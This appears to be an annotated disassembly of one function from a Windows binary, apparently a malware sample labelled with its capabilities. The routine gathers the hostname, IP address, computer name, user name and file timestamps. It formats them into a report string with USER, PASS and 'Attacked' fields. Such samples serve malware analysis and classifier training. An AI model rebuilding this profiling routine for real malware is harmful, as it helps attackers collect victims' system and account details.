Function at 0x401000
Capabilities:
Get hostname
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x40419c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3cc
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x20], esi
lea ecx, [esi + 4]
mov dword [esp + 0x3e4], 1
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 8]
mov byte [esp + 0x3e4], 2
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0xc]
mov byte [esp + 0x3e4], 3
call sub.MFC42.DLL_CString::CString_2
lea edi, [esi + 0x10]
mov byte [esp + 0x3e4], 4
mov ecx, edi
call sub.MFC42.DLL_CString::CString_2
lea ebp, [esi + 0x14]
mov byte [esp + 0x3e4], 5
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_2
lea eax, [esp + 0x24c]
mov byte [esp + 0x3e4], 6
push eax
push 2
mov dword [esi], 0x405358
mov dword [esp + 0x20], 0x105
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4010f4
lea ecx, [esp + 0x3c]
push 0x104
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x4010ee
lea edx, [esp + 0x3c]
lea ecx, [esi + 0xc]
push edx
call sub.MFC42.DLL_CString::operator
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4010ee
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
mov ecx, ebx
call sub.MFC42.DLL_CString::operator
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x3c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x3c]
mov ecx, edi
push eax
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x18]
lea edx, [esp + 0x3c]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [esp + 0x3c]
mov ecx, ebp
push eax
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x144]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x158]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
test eax, eax
mov dword [esp + 0x1c], eax
je 0x401181
push 0
lea ecx, [esp + 0x28]
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x10]
mov byte [esp + 0x3e4], 7
call sub.MFC42.DLL_CString::CString_2
lea edx, [esp + 0x3ec]
lea ecx, [esp + 0x14]
push edx
mov byte [esp + 0x3e8], 8
call sub.MFC42.DLL_CString::operator_1
lea eax, [esp + 0x3f0]
lea ecx, [esp + 0x10]
push eax
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x10]
push ecx
call fcn.00401330
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x32]
mov ecx, dword [esp + 0x36]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [ebp]
and ecx, 0xffff
push eax
mov eax, dword [edi]
push ecx
mov ecx, dword [ebx]
push edx
mov edx, dword [esp + 0x24]
push eax
mov eax, dword [esp + 0x2c]
push ecx
push edx
push eax
lea eax, [esi + 4]
push str._nHOW___V2.00__USER_s_PASS_s___IP_s_ComputerName_s_UserName_s_Attacked_d__d__d__
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x2c
lea ecx, [esp + 0x10]
mov byte [esp + 0x3e4], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x3e4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x3ec]
mov byte [esp + 0x3e4], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x3f0]
mov dword [esp + 0x3e4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x3dc]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x3d8
ret 8